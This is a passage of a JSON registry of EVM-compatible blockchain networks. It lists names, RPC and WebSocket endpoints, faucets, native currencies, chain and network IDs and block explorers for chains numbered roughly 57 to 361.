Mainnet","chain":"SYS","rpc":["https://rpc.syscoin.org","wss://rpc.syscoin.org/wss"],"faucets":["https://faucet.syscoin.org"],"nativeCurrency":{"name":"Syscoin","symbol":"SYS","decimals":18},"infoURL":"https://www.syscoin.org","shortName":"sys","chainId":57,"networkId":57,"explorers":[{"name":"Syscoin Block Explorer","url":"https://explorer.syscoin.org","standard":"EIP3091"}]},{"name":"Ontology Mainnet","chain":"Ontology","rpc":["https://dappnode1.ont.io:20339","https://dappnode2.ont.io:20339","https://dappnode3.ont.io:20339","https://dappnode4.ont.io:20339"],"faucets":[],"nativeCurrency":{"name":"ONG","symbol":"ONG","decimals":9},"infoURL":"https://ont.io/","shortName":"Ontology Mainnet","chainId":58,"networkId":58,"explorers":[{"name":"explorer","url":"https://explorer.ont.io","standard":"EIP3091"}]},{"name":"EOS Mainnet","chain":"EOS","rpc":["https://api.eosargentina.io"],"faucets":[],"nativeCurrency":{"name":"EOS","symbol":"EOS","decimals":18},"infoURL":"https://eoscommunity.org/","shortName":"EOS Mainnet","chainId":59,"networkId":59,"explorers":[{"name":"bloks","url":"https://bloks.eosargentina.io","standard":"EIP3091"}]},{"name":"GoChain","chain":"GO","rpc":["https://rpc.gochain.io"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"GoChain Ether","symbol":"GO","decimals":18},"infoURL":"https://gochain.io","shortName":"go","chainId":60,"networkId":60,"slip44":6060,"explorers":[{"name":"GoChain Explorer","url":"https://explorer.gochain.io","standard":"EIP3091"}]},{"name":"Ethereum Classic Mainnet","chain":"ETC","rpc":["https://www.ethercluster.com/etc"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/?"],"nativeCurrency":{"name":"Ethereum Classic Ether","symbol":"ETC","decimals":18},"infoURL":"https://ethereumclassic.org","shortName":"etc","chainId":61,"networkId":1,"slip44":61,"explorers":[{"name":"blockscout","url":"https://blockscout.com/etc/mainnet","standard":"none"}]},{"name":"Ethereum Classic Testnet Morden","chain":"ETC","rpc":[],"faucets":[],"nativeCurrency":{"name":"Ethereum Classic Testnet Ether","symbol":"TETC","decimals":18},"infoURL":"https://ethereumclassic.org","shortName":"tetc","chainId":62,"networkId":2},{"name":"Ethereum Classic Testnet Mordor","chain":"ETC","rpc":["https://www.ethercluster.com/mordor"],"faucets":[],"nativeCurrency":{"name":"Mordor Classic Testnet Ether","symbol":"METC","decimals":18},"infoURL":"https://github.com/eth-classic/mordor/","shortName":"metc","chainId":63,"networkId":7},{"name":"Ellaism","chain":"ELLA","rpc":["https://jsonrpc.ellaism.org"],"faucets":[],"nativeCurrency":{"name":"Ellaism Ether","symbol":"ELLA","decimals":18},"infoURL":"https://ellaism.org","shortName":"ella","chainId":64,"networkId":64,"slip44":163},{"name":"OKExChain Testnet","chain":"okexchain","rpc":["https://exchaintestrpc.okex.org"],"faucets":["https://www.okex.com/drawdex"],"nativeCurrency":{"name":"OKExChain Global Utility Token in testnet","symbol":"OKT","decimals":18},"infoURL":"https://www.okex.com/okexchain","shortName":"tokt","chainId":65,"networkId":65,"explorers":[{"name":"OKLink","url":"https://www.oklink.com/okexchain-test","standard":"EIP3091"}]},{"name":"OKXChain Mainnet","chain":"okexchain","rpc":["https://exchainrpc.okex.org"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/?"],"nativeCurrency":{"name":"OKExChain Global Utility Token","symbol":"OKT","decimals":18},"infoURL":"https://www.okex.com/okexchain","shortName":"okt","chainId":66,"networkId":66,"explorers":[{"name":"OKLink","url":"https://www.oklink.com/okexchain","standard":"EIP3091"}]},{"name":"DBChain Testnet","chain":"DBM","rpc":["http://test-rpc.dbmbp.com"],"faucets":[],"nativeCurrency":{"name":"DBChain Testnet","symbol":"DBM","decimals":18},"infoURL":"http://test.dbmbp.com","shortName":"dbm","chainId":67,"networkId":67},{"name":"SoterOne Mainnet","chain":"SOTER","rpc":["https://rpc.soter.one"],"faucets":[],"nativeCurrency":{"name":"SoterOne Mainnet Ether","symbol":"SOTER","decimals":18},"infoURL":"https://www.soterone.com","shortName":"SO1","chainId":68,"networkId":68},{"name":"Optimism Kovan","title":"Optimism Testnet Kovan","chain":"ETH","rpc":["https://kovan.optimism.io/"],"faucets":["http://fauceth.komputing.org?chain=69&address=${ADDRESS}"],"nativeCurrency":{"name":"Kovan Ether","symbol":"KOR","decimals":18},"explorers":[{"name":"etherscan","url":"https://kovan-optimistic.etherscan.io","standard":"EIP3091"}],"infoURL":"https://optimism.io","shortName":"okov","chainId":69,"networkId":69},{"name":"Conflux eSpace (Testnet)","chain":"Conflux","network":"testnet","rpc":["https://evmtestnet.confluxrpc.com"],"faucets":["https://faucet.confluxnetwork.org"],"nativeCurrency":{"name":"CFX","symbol":"CFX","decimals":18},"infoURL":"https://confluxnetwork.org","shortName":"cfxtest","chainId":71,"networkId":71,"icon":"conflux","explorers":[{"name":"Conflux Scan","url":"https://evmtestnet.confluxscan.net","standard":"none"}]},{"name":"IDChain Mainnet","chain":"IDChain","network":"mainnet","rpc":["https://idchain.one/rpc/","wss://idchain.one/ws/"],"faucets":[],"nativeCurrency":{"name":"EIDI","symbol":"EIDI","decimals":18},"infoURL":"https://idchain.one/begin/","shortName":"idchain","chainId":74,"networkId":74,"icon":"idchain","explorers":[{"name":"explorer","url":"https://explorer.idchain.one","icon":"etherscan","standard":"EIP3091"}]},{"name":"Mix","chain":"MIX","rpc":["https://rpc2.mix-blockchain.org:8647"],"faucets":[],"nativeCurrency":{"name":"Mix Ether","symbol":"MIX","decimals":18},"infoURL":"https://mix-blockchain.org","shortName":"mix","chainId":76,"networkId":76,"slip44":76},{"name":"POA Network Sokol","chain":"POA","rpc":["https://sokol.poa.network","wss://sokol.poa.network/wss","ws://sokol.poa.network:8546"],"faucets":["https://faucet.poa.network"],"nativeCurrency":{"name":"POA Sokol Ether","symbol":"SPOA","decimals":18},"infoURL":"https://poa.network","shortName":"spoa","chainId":77,"networkId":77,"explorers":[{"name":"blockscout","url":"https://blockscout.com/poa/sokol","standard":"none"}]},{"name":"PrimusChain mainnet","chain":"PC","rpc":["https://ethnode.primusmoney.com/mainnet"],"faucets":[],"nativeCurrency":{"name":"Primus Ether","symbol":"PETH","decimals":18},"infoURL":"https://primusmoney.com","shortName":"primuschain","chainId":78,"networkId":78},{"name":"GeneChain","chain":"GeneChain","rpc":["https://rpc.genechain.io"],"faucets":[],"nativeCurrency":{"name":"RNA","symbol":"RNA","decimals":18},"infoURL":"https://scan.genechain.io/","shortName":"GeneChain","chainId":80,"networkId":80,"explorers":[{"name":"GeneChain Scan","url":"https://scan.genechain.io","standard":"EIP3091"}]},{"name":"Meter Mainnet","chain":"METER","rpc":["https://rpc.meter.io"],"faucets":["https://faucet.meter.io"],"nativeCurrency":{"name":"Meter","symbol":"MTR","decimals":18},"infoURL":"https://www.meter.io","shortName":"Meter","chainId":82,"networkId":82,"explorers":[{"name":"Meter Mainnet Scan","url":"https://scan.meter.io","standard":"EIP3091"}]},{"name":"Meter Testnet","chain":"METER Testnet","rpc":["https://rpctest.meter.io"],"faucets":["https://faucet-warringstakes.meter.io"],"nativeCurrency":{"name":"Meter","symbol":"MTR","decimals":18},"infoURL":"https://www.meter.io","shortName":"MeterTest","chainId":83,"networkId":83,"explorers":[{"name":"Meter Testnet Scan","url":"https://scan-warringstakes.meter.io","standard":"EIP3091"}]},{"name":"GateChain Testnet","chainId":85,"shortName":"gttest","chain":"GTTEST","networkId":85,"nativeCurrency":{"name":"GateToken","symbol":"GT","decimals":18},"rpc":["https://testnet.gatenode.cc"],"faucets":["https://www.gatescan.org/testnet/faucet"],"explorers":[{"name":"GateScan","url":"https://www.gatescan.org/testnet","standard":"EIP3091"}],"infoURL":"https://www.gatechain.io"},{"name":"GateChain Mainnet","chainId":86,"shortName":"gt","chain":"GT","networkId":86,"nativeCurrency":{"name":"GateToken","symbol":"GT","decimals":18},"rpc":["https://evm.gatenode.cc"],"faucets":["https://www.gatescan.org/faucet"],"explorers":[{"name":"GateScan","url":"https://www.gatescan.org","standard":"EIP3091"}],"infoURL":"https://www.gatechain.io"},{"name":"Nova Network","chain":"NNW","icon":"novanetwork","rpc":["https://connect.novanetwork.io","https://0x57.redjackstudio.com","https://rpc.novanetwork.io:9070"],"faucets":[],"nativeCurrency":{"name":"Supernova","symbol":"SNT","decimals":18},"infoURL":"https://novanetwork.io","shortName":"nnw","chainId":87,"networkId":87,"explorers":[{"name":"novanetwork","url":"https://explorer.novanetwork.io","standard":"EIP3091"}]},{"name":"TomoChain","chain":"TOMO","rpc":["https://rpc.tomochain.com"],"faucets":[],"nativeCurrency":{"name":"TomoChain","symbol":"TOMO","decimals":18},"infoURL":"https://tomochain.com","shortName":"tomo","chainId":88,"networkId":88,"slip44":889},{"name":"TomoChain Testnet","chain":"TOMO","rpc":["https://rpc.testnet.tomochain.com"],"faucets":[],"nativeCurrency":{"name":"TomoChain","symbol":"TOMO","decimals":18},"infoURL":"https://tomochain.com","shortName":"tomot","chainId":89,"networkId":89,"slip44":889},{"name":"Garizon Stage0","chain":"GAR","network":"mainnet","icon":"garizon","rpc":["https://s0.garizon.net/rpc"],"faucets":[],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-s0","chainId":90,"networkId":90,"explorers":[{"name":"explorer","url":"https://explorer.garizon.com","icon":"garizon","standard":"EIP3091"}]},{"name":"Garizon Stage1","chain":"GAR","network":"mainnet","icon":"garizon","rpc":["https://s1.garizon.net/rpc"],"faucets":[],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-s1","chainId":91,"networkId":91,"explorers":[{"name":"explorer","url":"https://explorer.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-90","type":"shard"}},{"name":"Garizon Stage2","chain":"GAR","network":"mainnet","icon":"garizon","rpc":["https://s2.garizon.net/rpc"],"faucets":[],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-s2","chainId":92,"networkId":92,"explorers":[{"name":"explorer","url":"https://explorer.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-90","type":"shard"}},{"name":"Garizon Stage3","chain":"GAR","network":"mainnet","icon":"garizon","rpc":["https://s3.garizon.net/rpc"],"faucets":[],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-s3","chainId":93,"networkId":93,"explorers":[{"name":"explorer","url":"https://explorer.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-90","type":"shard"}},{"name":"CryptoKylin Testnet","chain":"EOS","rpc":["https://kylin.eosargentina.io"],"faucets":[],"nativeCurrency":{"name":"EOS","symbol":"EOS","decimals":18},"infoURL":"https://www.cryptokylin.io/","shortName":"Kylin Testnet","chainId":95,"networkId":95,"explorers":[{"name":"eosq","url":"https://kylin.eosargentina.io","standard":"EIP3091"}]},{"name":"NEXT Smart Chain","chain":"NSC","rpc":["https://rpc.nextsmartchain.com"],"faucets":["https://faucet.nextsmartchain.com"],"nativeCurrency":{"name":"NEXT","symbol":"NEXT","decimals":18},"infoURL":"https://www.nextsmartchain.com/","shortName":"nsc","chainId":96,"networkId":96,"explorers":[{"name":"Next Smart Chain Explorer","url":"https://explorer.nextsmartchain.com","standard":"none"}]},{"name":"Binance Smart Chain Testnet","chain":"BSC","rpc":["https://data-seed-prebsc-1-s1.binance.org:8545","https://data-seed-prebsc-2-s1.binance.org:8545","https://data-seed-prebsc-1-s2.binance.org:8545","https://data-seed-prebsc-2-s2.binance.org:8545","https://data-seed-prebsc-1-s3.binance.org:8545","https://data-seed-prebsc-2-s3.binance.org:8545"],"faucets":["https://testnet.binance.org/faucet-smart"],"nativeCurrency":{"name":"Binance Chain Native Token","symbol":"tBNB","decimals":18},"infoURL":"https://testnet.binance.org/","shortName":"bnbt","chainId":97,"networkId":97,"explorers":[{"name":"bscscan-testnet","url":"https://testnet.bscscan.com","standard":"EIP3091"}]},{"name":"POA Network Core","chain":"POA","rpc":["https://core.poanetwork.dev","http://core.poanetwork.dev:8545","https://core.poa.network","ws://core.poanetwork.dev:8546"],"faucets":[],"nativeCurrency":{"name":"POA Network Core Ether","symbol":"POA","decimals":18},"infoURL":"https://poa.network","shortName":"poa","chainId":99,"networkId":99,"slip44":178,"explorers":[{"name":"blockscout","url":"https://blockscout.com/poa/core","standard":"none"}]},{"name":"Gnosis Chain (formerly xDai)","chain":"Gnosis","icon":"gnosis","rpc":["https://rpc.gnosischain.com","https://xdai.poanetwork.dev","wss://rpc.gnosischain.com/wss","wss://xdai.poanetwork.dev/wss","http://xdai.poanetwork.dev","https://dai.poa.network","ws://xdai.poanetwork.dev:8546"],"faucets":["https://faucet.gimlu.com/gnosis","https://stakely.io/faucet/gnosis-chain-xdai","https://faucet.prussia.dev/xdai"],"nativeCurrency":{"name":"xDAI","symbol":"xDAI","decimals":18},"infoURL":"https://www.xdaichain.com/","shortName":"gno","chainId":100,"networkId":100,"slip44":700,"explorers":[{"name":"blockscout","url":"https://blockscout.com/xdai/mainnet","icon":"blockscout","standard":"EIP3091"}]},{"name":"EtherInc","chain":"ETI","rpc":["https://api.einc.io/jsonrpc/mainnet"],"faucets":[],"nativeCurrency":{"name":"EtherInc Ether","symbol":"ETI","decimals":18},"infoURL":"https://einc.io","shortName":"eti","chainId":101,"networkId":1,"slip44":464},{"name":"Web3Games Testnet","chain":"Web3Games","icon":"web3games","rpc":["https://testnet.web3games.org/evm"],"faucets":[],"nativeCurrency":{"name":"Web3Games","symbol":"W3G","decimals":18},"infoURL":"https://web3games.org/","shortName":"tw3g","chainId":102,"networkId":102},{"name":"Web3Games Devnet","chain":"Web3Games","icon":"web3games","rpc":["https://devnet.web3games.org/evm"],"faucets":[],"nativeCurrency":{"name":"Web3Games","symbol":"W3G","decimals":18},"infoURL":"https://web3games.org/","shortName":"dw3g","chainId":105,"networkId":105,"explorers":[{"name":"Web3Games Explorer","url":"https://explorer-devnet.web3games.org","standard":"none"}]},{"name":"Velas EVM Mainnet","chain":"Velas","icon":"velas","rpc":["https://evmexplorer.velas.com/rpc","https://explorer.velas.com/rpc"],"faucets":[],"nativeCurrency":{"name":"Velas","symbol":"VLX","decimals":18},"infoURL":"https://velas.com","shortName":"vlx","chainId":106,"networkId":106,"explorers":[{"name":"Velas Explorer","url":"https://evmexplorer.velas.com","standard":"EIP3091"}]},{"name":"Nebula Testnet","chain":"NTN","icon":"nebulatestnet","rpc":["https://testnet.rpc.novanetwork.io:9070"],"faucets":[],"nativeCurrency":{"name":"Nebula X","symbol":"NBX","decimals":18},"infoURL":"https://novanetwork.io","shortName":"ntn","chainId":107,"networkId":107,"explorers":[{"name":"nebulatestnet","url":"https://explorer.novanetwork.io","standard":"EIP3091"}]},{"name":"ThunderCore Mainnet","chain":"TT","rpc":["https://mainnet-rpc.thundercore.com"],"faucets":["https://faucet.thundercore.com"],"nativeCurrency":{"name":"ThunderCore Mainnet Ether","symbol":"TT","decimals":18},"infoURL":"https://thundercore.com","shortName":"TT","chainId":108,"networkId":108,"slip44":1001,"explorers":[{"name":"ThundercoreScan","url":"https://scan.thundercore.com","standard":"none"}]},{"name":"Proton Testnet","chain":"XPR","rpc":["https://protontestnet.greymass.com/"],"faucets":[],"nativeCurrency":{"name":"Proton","symbol":"XPR","decimals":4},"infoURL":"https://protonchain.com","shortName":"xpr","chainId":110,"networkId":110},{"name":"EtherLite Chain","chain":"ETL","rpc":["https://rpc.etherlite.org"],"faucets":["https://etherlite.org/faucets"],"nativeCurrency":{"name":"EtherLite","symbol":"ETL","decimals":18},"infoURL":"https://etherlite.org","shortName":"ETL","chainId":111,"networkId":111,"icon":"etherlite"},{"name":"Fuse Mainnet","chain":"FUSE","rpc":["https://rpc.fuse.io"],"faucets":[],"nativeCurrency":{"name":"Fuse","symbol":"FUSE","decimals":18},"infoURL":"https://fuse.io/","shortName":"fuse","chainId":122,"networkId":122},{"name":"Fuse Sparknet","chain":"fuse","rpc":["https://rpc.fusespark.io"],"faucets":["https://get.fusespark.io"],"nativeCurrency":{"name":"Spark","symbol":"SPARK","decimals":18},"infoURL":"https://docs.fuse.io/general/fuse-network-blockchain/fuse-testnet","shortName":"spark","chainId":123,"networkId":123},{"name":"Decentralized Web Mainnet","shortName":"dwu","chain":"DWU","chainId":124,"networkId":124,"rpc":["https://decentralized-web.tech/dw_rpc.php"],"faucets":[],"infoURL":"https://decentralized-web.tech/dw_chain.php","nativeCurrency":{"name":"Decentralized Web Utility","symbol":"DWU","decimals":18}},{"name":"OYchain Testnet","chain":"OYchain","rpc":["https://rpc.testnet.oychain.io"],"faucets":["https://faucet.oychain.io"],"nativeCurrency":{"name":"OYchain Token","symbol":"OY","decimals":18},"infoURL":"https://www.oychain.io","shortName":"oychain testnet","chainId":125,"networkId":125,"slip44":125,"explorers":[{"name":"OYchain Testnet Explorer","url":"https://explorer.testnet.oychain.io","standard":"none"}]},{"name":"OYchain Mainnet","chain":"OYchain","icon":"oychain","rpc":["https://rpc.mainnet.oychain.io"],"faucets":[],"nativeCurrency":{"name":"OYchain Token","symbol":"OY","decimals":18},"infoURL":"https://www.oychain.io","shortName":"oychain mainnet","chainId":126,"networkId":126,"slip44":126,"explorers":[{"name":"OYchain Mainnet Explorer","url":"https://explorer.oychain.io","standard":"none"}]},{"name":"Factory 127 Mainnet","chain":"FETH","rpc":[],"faucets":[],"nativeCurrency":{"name":"Factory 127 Token","symbol":"FETH","decimals":18},"infoURL":"https://www.factory127.com","shortName":"feth","chainId":127,"networkId":127,"slip44":127},{"name":"Huobi ECO Chain Mainnet","chain":"Heco","rpc":["https://http-mainnet.hecochain.com","wss://ws-mainnet.hecochain.com"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"Huobi ECO Chain Native Token","symbol":"HT","decimals":18},"infoURL":"https://www.hecochain.com","shortName":"heco","chainId":128,"networkId":128,"slip44":1010,"explorers":[{"name":"hecoinfo","url":"https://hecoinfo.com","standard":"EIP3091"}]},{"name":"Polygon Mainnet","chain":"Polygon","rpc":["https://polygon-rpc.com/","https://rpc-mainnet.matic.network","https://matic-mainnet.chainstacklabs.com","https://rpc-mainnet.maticvigil.com","https://rpc-mainnet.matic.quiknode.pro","https://matic-mainnet-full-rpc.bwarelabs.com"],"faucets":[],"nativeCurrency":{"name":"MATIC","symbol":"MATIC","decimals":18},"infoURL":"https://polygon.technology/","shortName":"MATIC","chainId":137,"networkId":137,"slip44":966,"explorers":[{"name":"polygonscan","url":"https://polygonscan.com","standard":"EIP3091"}]},{"name":"Openpiece Testnet","chain":"OPENPIECE","icon":"openpiece","network":"testnet","rpc":["https://testnet.openpiece.io"],"faucets":[],"nativeCurrency":{"name":"Belly","symbol":"BELLY","decimals":18},"infoURL":"https://cryptopiece.online","shortName":"OPtest","chainId":141,"networkId":141,"explorers":[{"name":"Belly Scan","url":"https://testnet.bellyscan.com","standard":"none"}]},{"name":"DAX CHAIN","chain":"DAX","rpc":["https://rpc.prodax.io"],"faucets":[],"nativeCurrency":{"name":"Prodax","symbol":"DAX","decimals":18},"infoURL":"https://prodax.io/","shortName":"dax","chainId":142,"networkId":142},{"name":"Lightstreams Testnet","chain":"PHT","rpc":["https://node.sirius.lightstreams.io"],"faucets":["https://discuss.lightstreams.network/t/request-test-tokens"],"nativeCurrency":{"name":"Lightstreams PHT","symbol":"PHT","decimals":18},"infoURL":"https://explorer.sirius.lightstreams.io","shortName":"tpht","chainId":162,"networkId":162},{"name":"Lightstreams Mainnet","chain":"PHT","rpc":["https://node.mainnet.lightstreams.io"],"faucets":[],"nativeCurrency":{"name":"Lightstreams PHT","symbol":"PHT","decimals":18},"infoURL":"https://explorer.lightstreams.io","shortName":"pht","chainId":163,"networkId":163},{"name":"AIOZ Network","chain":"AIOZ","network":"mainnet","icon":"aioz","rpc":["https://eth-dataseed.aioz.network"],"faucets":[],"nativeCurrency":{"name":"AIOZ","symbol":"AIOZ","decimals":18},"infoURL":"https://aioz.network","shortName":"aioz","chainId":168,"networkId":168,"slip44":60,"explorers":[{"name":"AIOZ Network Explorer","url":"https://explorer.aioz.network","standard":"EIP3091"}]},{"name":"HOO Smart Chain Testnet","chain":"ETH","rpc":["https://http-testnet.hoosmartchain.com"],"faucets":["https://faucet-testnet.hscscan.com/"],"nativeCurrency":{"name":"HOO","symbol":"HOO","decimals":18},"infoURL":"https://www.hoosmartchain.com","shortName":"hoosmartchain","chainId":170,"networkId":170},{"name":"Latam-Blockchain Resil Testnet","chain":"Resil","rpc":["https://rpc.latam-blockchain.com","wss://ws.latam-blockchain.com"],"faucets":["https://faucet.latam-blockchain.com"],"nativeCurrency":{"name":"Latam-Blockchain Resil Test Native Token","symbol":"usd","decimals":18},"infoURL":"https://latam-blockchain.com","shortName":"resil","chainId":172,"networkId":172},{"name":"Seele Mainnet","chain":"Seele","rpc":["https://rpc.seelen.pro/"],"faucets":[],"nativeCurrency":{"name":"Seele","symbol":"Seele","decimals":18},"infoURL":"https://seelen.pro/","shortName":"Seele","chainId":186,"networkId":186,"explorers":[{"name":"seeleview","url":"https://seeleview.net","standard":"none"}]},{"name":"BMC Mainnet","chain":"BMC","rpc":["https://mainnet.bmcchain.com/"],"faucets":[],"nativeCurrency":{"name":"BTM","symbol":"BTM","decimals":18},"infoURL":"https://bmc.bytom.io/","shortName":"BMC","chainId":188,"networkId":188,"explorers":[{"name":"Blockmeta","url":"https://bmc.blockmeta.com","standard":"none"}]},{"name":"BMC Testnet","chain":"BMC","rpc":["https://testnet.bmcchain.com"],"faucets":[],"nativeCurrency":{"name":"BTM","symbol":"BTM","decimals":18},"infoURL":"https://bmc.bytom.io/","shortName":"BMCT","chainId":189,"networkId":189,"explorers":[{"name":"Blockmeta","url":"https://bmctestnet.blockmeta.com","standard":"none"}]},{"name":"BitTorrent Chain Mainnet","chain":"BTTC","rpc":["https://rpc.bittorrentchain.io/"],"faucets":[],"nativeCurrency":{"name":"BitTorrent","symbol":"BTT","decimals":18},"infoURL":"https://bittorrentchain.io/","shortName":"BTT","chainId":199,"networkId":199,"explorers":[{"name":"bttcscan","url":"https://scan.bittorrentchain.io","standard":"none"}]},{"name":"Arbitrum on xDai","chain":"AOX","rpc":["https://arbitrum.xdaichain.com/"],"faucets":[],"nativeCurrency":{"name":"xDAI","symbol":"xDAI","decimals":18},"infoURL":"https://xdaichain.com","shortName":"aox","chainId":200,"networkId":200,"explorers":[{"name":"blockscout","url":"https://blockscout.com/xdai/arbitrum","standard":"EIP3091"}],"parent":{"chain":"eip155-100","type":"L2"}},{"name":"Freight Trust Network","chain":"EDI","rpc":["http://13.57.207.168:3435","https://app.freighttrust.net/ftn/${API_KEY}"],"faucets":["http://faucet.freight.sh"],"nativeCurrency":{"name":"Freight Trust Native","symbol":"0xF","decimals":18},"infoURL":"https://freighttrust.com","shortName":"EDI","chainId":211,"networkId":0},{"name":"SoterOne Mainnet old","chain":"SOTER","rpc":["https://rpc.soter.one"],"faucets":[],"nativeCurrency":{"name":"SoterOne Mainnet Ether","symbol":"SOTER","decimals":18},"infoURL":"https://www.soterone.com","shortName":"SO1-old","chainId":218,"networkId":218,"deprecated":true},{"name":"Permission","chain":"ASK","rpc":["https://blockchain-api-mainnet.permission.io/rpc"],"faucets":[],"nativeCurrency":{"name":"ASK","symbol":"ASK","decimals":18},"infoURL":"https://permission.io/","shortName":"ASK","chainId":222,"networkId":2221,"slip44":2221},{"name":"LACHAIN Mainnet","chain":"LA","icon":"lachain","rpc":["https://rpc-mainnet.lachain.io"],"faucets":[],"nativeCurrency":{"name":"LA","symbol":"LA","decimals":18},"infoURL":"https://lachain.io","shortName":"LA","chainId":225,"networkId":225,"explorers":[{"name":"blockscout","url":"https://scan.lachain.io","standard":"EIP3091"}]},{"name":"LACHAIN Testnet","chain":"TLA","icon":"lachain","rpc":["https://rpc-testnet.lachain.io"],"faucets":[],"nativeCurrency":{"name":"TLA","symbol":"TLA","decimals":18},"infoURL":"https://lachain.io","shortName":"TLA","chainId":226,"networkId":226,"explorers":[{"name":"blockscout","url":"https://scan-test.lachain.io","standard":"EIP3091"}]},{"name":"Energy Web Chain","chain":"Energy Web Chain","rpc":["https://rpc.energyweb.org","wss://rpc.energyweb.org/ws"],"faucets":["https://faucet.carbonswap.exchange","https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"Energy Web Token","symbol":"EWT","decimals":18},"infoURL":"https://energyweb.org","shortName":"ewt","chainId":246,"networkId":246,"slip44":246,"explorers":[{"name":"blockscout","url":"https://explorer.energyweb.org","standard":"none"}]},{"name":"Fantom Opera","chain":"FTM","rpc":["https://rpc.ftm.tools"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"Fantom","symbol":"FTM","decimals":18},"infoURL":"https://fantom.foundation","shortName":"ftm","chainId":250,"networkId":250,"icon":"fantom","explorers":[{"name":"ftmscan","url":"https://ftmscan.com","icon":"ftmscan","standard":"EIP3091"}]},{"name":"Huobi ECO Chain Testnet","chain":"Heco","rpc":["https://http-testnet.hecochain.com","wss://ws-testnet.hecochain.com"],"faucets":["https://scan-testnet.hecochain.com/faucet"],"nativeCurrency":{"name":"Huobi ECO Chain Test Native Token","symbol":"htt","decimals":18},"infoURL":"https://testnet.hecoinfo.com","shortName":"hecot","chainId":256,"networkId":256},{"name":"Setheum","chain":"Setheum","rpc":[],"faucets":[],"nativeCurrency":{"name":"Setheum","symbol":"SETM","decimals":18},"infoURL":"https://setheum.xyz","shortName":"setm","chainId":258,"networkId":258},{"name":"SUR Blockchain Network","chain":"SUR","rpc":["https://sur.nilin.org"],"faucets":[],"nativeCurrency":{"name":"Suren","symbol":"SRN","decimals":18},"infoURL":"https://surnet.org","shortName":"SUR","chainId":262,"networkId":1,"icon":"SUR","explorers":[{"name":"Surnet Explorer","url":"https://explorer.surnet.org","icon":"SUR","standard":"EIP3091"}]},{"name":"High Performance Blockchain","chain":"HPB","rpc":["https://hpbnode.com","wss://ws.hpbnode.com"],"faucets":["https://myhpbwallet.com/"],"nativeCurrency":{"name":"High Performance Blockchain Ether","symbol":"HPB","decimals":18},"infoURL":"https://hpb.io","shortName":"hpb","chainId":269,"networkId":269,"slip44":269,"explorers":[{"name":"hscan","url":"https://hscan.org","standard":"EIP3091"}]},{"name":"Boba Network","chain":"ETH","rpc":["https://mainnet.boba.network/"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://boba.network","shortName":"Boba","chainId":288,"networkId":288,"explorers":[{"name":"Blockscout","url":"https://blockexplorer.boba.network","standard":"none"}],"parent":{"type":"L2","chain":"eip155-1","bridges":[{"url":"https://gateway.boba.network"}]}},{"name":"KCC Mainnet","chain":"KCC","rpc":["https://rpc-mainnet.kcc.network","wss://rpc-ws-mainnet.kcc.network"],"faucets":[],"nativeCurrency":{"name":"KuCoin Token","symbol":"KCS","decimals":18},"infoURL":"https://kcc.io","shortName":"kcs","chainId":321,"networkId":1,"explorers":[{"name":"KCC Explorer","url":"https://explorer.kcc.io/en","standard":"EIP3091"}]},{"name":"KCC Testnet","chain":"KCC","rpc":["https://rpc-testnet.kcc.network","wss://rpc-ws-testnet.kcc.network"],"faucets":["https://faucet-testnet.kcc.network"],"nativeCurrency":{"name":"KuCoin Testnet Token","symbol":"tKCS","decimals":18},"infoURL":"https://scan-testnet.kcc.network","shortName":"kcst","chainId":322,"networkId":322,"explorers":[{"name":"kcc-scan","url":"https://scan-testnet.kcc.network","standard":"EIP3091"}]},{"name":"Web3Q Mainnet","chain":"Web3Q","rpc":["https://mainnet.web3q.io:8545"],"faucets":[],"nativeCurrency":{"name":"Web3Q","symbol":"W3Q","decimals":18},"infoURL":"https://web3q.io/home.w3q/","shortName":"w3q","chainId":333,"networkId":333,"explorers":[{"name":"w3q-mainnet","url":"https://explorer.mainnet.web3q.io","standard":"EIP3091"}]},{"name":"DFK Chain Test","chain":"DFK","icon":"dfk","network":"testnet","rpc":["https://subnets.avax.network/defi-kingdoms/dfk-chain-testnet/rpc"],"faucets":[],"nativeCurrency":{"name":"Jewel","symbol":"JEWEL","decimals":18},"infoURL":"https://defikingdoms.com","shortName":"DFKTEST","chainId":335,"networkId":335,"explorers":[{"name":"ethernal","url":"https://explorer-test.dfkchain.com","icon":"ethereum","standard":"none"}]},{"name":"Shiden","chain":"SDN","rpc":["https://rpc.shiden.astar.network:8545","wss://shiden.api.onfinality.io/public-ws"],"faucets":[],"nativeCurrency":{"name":"Shiden","symbol":"SDN","decimals":18},"infoURL":"https://shiden.astar.network/","shortName":"sdn","chainId":336,"networkId":336,"explorers":[{"name":"subscan","url":"https://shiden.subscan.io","standard":"none"}]},{"name":"Cronos Testnet","chain":"CRO","rpc":["https://cronos-testnet-3.crypto.org:8545","wss://cronos-testnet-3.crypto.org:8546"],"faucets":["https://cronos.crypto.org/faucet"],"nativeCurrency":{"name":"Crypto.org Test Coin","symbol":"TCRO","decimals":18},"infoURL":"https://cronos.crypto.org","shortName":"tcro","chainId":338,"networkId":338,"explorers":[{"name":"Cronos Testnet Explorer","url":"https://cronos.crypto.org/explorer/testnet3","standard":"none"}]},{"name":"Theta Mainnet","chain":"Theta","rpc":["https://eth-rpc-api.thetatoken.org/rpc"],"faucets":[],"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"infoURL":"https://www.thetatoken.org/","shortName":"theta-mainnet","chainId":361,"networkId":361,"explorers":[{"name":"Theta Mainnet 